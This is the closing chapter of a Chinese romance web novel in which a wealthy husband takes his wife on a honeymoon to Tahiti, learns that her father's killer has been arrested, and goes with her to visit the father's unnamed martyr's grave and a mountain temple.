祁南骁道:“叫服务员过来换床单。” 林晚一把拉住他:“不许去。” 祁南骁忍俊不禁:“那总不能就着这样睡吧。” 林晚脸颊红晕,打他:“都怪你乱搞。” 祁南骁举起双手做投降状:“我跟你可是合法搞,可不是什么乱搞。林老师可不要毁我清白。” 林晚气得抱着他的脖子就是咬一口,祁南骁笑道:“你咬我脖子不是更明显,咱俩在这里面干柴烈火的?” 林晚脸更红了,她做不到让陌生人来帮他们收拾床后用品:“你去拿床单,然后你把床单换上。” 见他只笑不动,林晚急了:“快点。” 祁安骁看她挡着门把手,满脸写着抗拒和害羞,他只觉得这样的林晚可爱极了。 “行,我出去拿了回来换。” 不多时,祁南骁真的把床单拿回来了,老老实实把床单换好。林晚躺床上枕着他的大腿,看着窗外的云层,居然别有一番滋味。 “我们去哪里?” 祁南骁捋着她的长发道:“ 大溪地。” 林晚眼眸一亮,这不是她之前无意间提过的想去的地方吗? 据说是全世界海岛的天花板,是太平洋最难到达的海域。这里人均消费十几二十万。 祁南骁笑了笑:“喜欢吗?” 林晚点头,转身搂着她的腰道:“老公你怎么这么好。” 祁南骁指腹摩挲着她的脸颊,低声道:“因为你值得。” 林晚有那么一刻被感动到,然后就听到祁南骁低声诱惑:“再来一次?” 林晚:“”果然,天下没有免费的晚餐。 飞机飞往大溪地上空时,祁南骁叫醒了林晚。 林晚一睁眼就看到了碧绿色大海,美得就像是从油画里出来的一样。 “你怎么不早点告诉我,我还有好多衣服没带过来。” 祁南骁摸了摸她的脑袋,笑道:“我都给你准备好了。” “在哪里?” 祁南骁带她走到衣帽间,上面摆着各式各样的衣服。 林晚直接盘起头发,挑起衣服,边选边念叨着:“海岛肯定很热,穿这件裙子不错。给你挑一件跟我是情侣配色的衬衫。这个帽子怎么样?” 林晚回头,祁南骁站在一旁看着她,黑色的瞳仁含着柔和的爱意,他喜欢看着她在他面前嘀嘀咕咕的样子,尤其是关于他们俩人的事。 林晚压根不需要祁南骁的意见,她直接脱掉浴袍,正要穿上吊带长裙,忽然腰间缠上一只手臂,镜子里,她的身后贴着祁南骁。 “别,飞机要落地了。你别闹。” 祁南骁在她脖颈上落下一个吻,她的脖子还有他昨晚亲得太用力留下的草莓印,在白皙的皮肤下显得格外诱人。 林晚怕他乱来,赶紧穿上吊带长裙,涂好防晒霜。 飞机落地后,祁南骁侧头问林晚:“我们要先回酒店还是直接出去玩?” 林晚道:“不用先去酒店放行李吗?” 祁南骁搂着她笑道:“不用,有管家会安排。” 林晚这才注意到这架飞机还有其他工作人员,比如说光是保镖就四五个了,还有厨师、翻译、管家了。 果然,钱能解决一切。 大溪地不愧是海岛界的天花板,实在是美得无法形容。 几天的时间里,林晚体验了潜水和魔鬼鱼亲密接触,托曳伞在空中吹着海风赏海景,开着越野车经过热带丛林和山谷溪流。 祁南骁喜欢玩冲浪,林晚没兴趣,坐在冲锋艇上等他。 这边有很多冲锋艇悬停海面,林晚躺在甲板上戴着墨镜优哉游哉欣赏着每一处的风景。 旁边一个穿着短袖花衬衫的金发白男忽然靠近,惹得林晚身后保镖顿时警惕起来。 林晚微微抬起头,对方很友善的开口:“你好,你是中国人吗?” 他说的汉语,这倒让林晚多了几分兴趣,虽然说的不太标准,但也能听得懂。 林晚点头,笑着道:“对,您是哪里人?” “美国。”金发白男瞧见林晚有沟通意向,便继续道:“窝大学学的是汉语。但窝妹有去过中国。窝的汉语水平都没掉了。” 林晚点点头:“你很厉害。” “泥可不可以跟我一起练中文。” “她不可以。”熟悉的淡漠声响起,林晚回头就看到光着上半身的祁南骁,他腹肌还有没擦干的水渍,在阳光的折射下,格外的诱人。 林晚惊讶道:“你怎么回来了” 祁南骁坐在她身边,搂着她的腰,占有欲十足。 金发男后知后觉自己搭讪到一个有夫之妇的女人身上了,讪讪一笑提出告别。 林晚便跟祁南骁刚刚那个人,笑得阳光灿烂。 祁南骁捏着她的侧腰,威胁的意味十足:“我不在你玩的很嗨?” 林晚不用看他脸色就知道他又吃醋了,秉承着在外给他面子的原则,不跟他闹,哄着他:“没有,你一走我就想你了。” 祁南骁低头咬着她的耳垂,低沉着声音:“晚上回酒店让我看看你有多想我。” 他们订的酒店是海景房,拉开窗帘目之所及全是碧绿色的大海,每天落日时,还能看到粉色的晚霞,格外漂亮。 一到晚上,祁南骁就拉着她在这张大床上厮混,恨不得把她拆之入腹。 一直玩了10天,一行人才打道回家。 飞了将近20多小时才成功落地京市,两人回到家第一件事就是去老宅探望祁占山。 10天前,祁南骁抓着她不辞而别,她都觉得不尊重祁占山他老人家了。给祁占山带了不少礼物,不是什么贵重的礼物,都是林晚精心制作的纪念品。 一个盒子里装着好几块精美的贝壳石头珍珠宝石。 其中有块石头上还有自然风化而成的,形似中文‘寿’字,祁占山很喜欢。 等礼物看完,管家把东西收走,祁占山拉着林晚的掌心,语重心长的道:“你们走的这10天里,北林省那边的公安同志来咱们家一趟。” 林晚心头一跳,她抬眸看向祁占山。 祁占山慈和的道:“当年害死你生父的主犯成功抓捕归案了。” 林晚捂住嘴巴,不可置信。 祁南骁搂着她的腰,无声安抚。 “人现在在哪?”祁南骁咬牙切齿出声。 祁占山道:“被公安抓了,你问这个干嘛,难道你还想越过司法去搞他?” 祁南骁心想国内搞不了,但国外可未必。让那人被警察抓住,可真是便宜了他。 林晚缓和过来,一字一句充满恨意的道:“他会面临什么样的惩罚?” 祁占山摸了摸林晚的脑袋:“一定是死刑。” 林晚闭上眼,悄然握紧拳头,她终于可以去祭拜她爸爸了。 —— 云市庆南山,这里有一片烈士陵园,阳光明媚,鸟语花香。 林栋的碑就立于正午阳光晒得到的地方,无名碑。无名英雄活着不能露脸,去世后墓碑上不能有性名,甚至家人不能来祭拜。 将近二十年了,他一个人睡在这里也不知道会不会孤单? 林晚全副武装,连眼睛都没露出来,如果不按照这个要求将自己外貌武装起来,工作人员不会安排她前来祭拜的。 林晚戴着墨镜口罩跪在地上,捏开落在墓碑上的一根干草,她看了眼墓碑上唯一的一颗五角星,哽咽着开口:“爸爸,对不起,我现在才来看你。” 阳光洋洋洒洒落在灰色的墓碑上,凛冽中带着温和,似是无声的温柔。 林晚低下头,轻轻抚在墓碑上,并不是想象中的冰冷,而是暖暖的。 祁南骁跟着跪了下,把花放在墓碑前说:“爸,我叫祁南骁,是小晚的丈夫,请您放心,我会照顾好小晚的。”他说完,对着墓碑硬生生磕了三个响头。 林晚带着毛巾和矿泉水,亲自给林栋擦墓碑,千言万语,不及亲自触碰他。 祁南骁起身,跟一旁的几个工作人员道:“走吧,让她一个人跟我爸独处会儿。” 他们离开后,墓碑前只剩下林晚一个人,来之前她心中有千言万语,可真到了这一刻,她只想安安静静的陪着林栋晒晒太阳。 因为林栋最喜欢在家门口的柿子树下晒太阳了,她小时候,林栋总是抱着她往院子里一坐就是大半天。 他在被那些人折磨的那段时间里也一定很怀念阳光吧。 林晚擦墓碑的手一顿,翻江倒海的情绪汹涌而来,她只觉得眼眶一热,眼泪浸湿了脸上的口罩。 “你怎么还是这么爱晒太阳,可惜我不在你身边了” 没有声音,林晚擦掉鼻尖上的泪珠,视线被泪水模糊住,林晚将脸贴近墓碑,闭上眼,轻轻吐气:“爸爸,我想你了。” “等我忙完这一生,我就去见你好不好?” 当天离开后,祁南骁带着林晚登上了陵园对面那座山的寺庙。这间古庙已经流传几百年了,因为隐没在俗世之外,避免了战乱的摧残,得以完好的保存。 寺庙不大,没有过度旅游化,平日里也都只是附近的村民过来烧香供奉。 大殿中供奉的神明不多,祁南骁拉着林晚走进大殿。 来都来了,林晚跟着祁南骁向着神明三叩六拜,往功德箱里丢点现金,两人便四处看看。 林晚很喜欢古庙里的香味,很清净,能让人心旷神怡。 祁南骁拉着林晚走到一旁的长明灯前。 林晚有些意外,祁南骁笑了笑:“就当给爸祈福吧。” 林晚点头,找到寺庙里的僧人祈福。 僧人提笔不一会儿,一张写着林栋名字的红纸便写好了。林晚小心翼翼把红纸压在长明灯下:愿我的父亲来世平平安安。 祈完福,林晚余光看见祁南骁在另一边跟一个僧人交谈,她悄悄走过去,可惜还没听见,他们就结束谈话了。 下山时,祁南骁心血来潮非要背着她下山。 林晚无奈只好满足他,趴在他后背上,捏着他的耳朵:“你刚刚在里面跟那个僧人谈什么呢?” 祁南骁背着她走得很稳,林晚压根不会觉得颠簸。 “祈福。”祁南骁故意吊着她。 林晚忍不住好奇:“是关于什么的?” 祁南骁勾起唇角:“想知道?” “嗯。” “亲我一口,我就告诉你。” 林晚快速在他侧脸落下一个吻:“快说。” 祁南骁踩着夕阳的余晖笑了:“与林晚,共此生,生同衾,死同穴。” 林晚闻言,一愣,而后笑了。 她趴在他的背上,他带着她穿过村落,她往他耳边夹上路边的野花。 穿过微寐的窄巷,夕阳笼罩着他们的身影,这一刻,是微风、是晚霞、是挚爱、是无可替代。 ——END——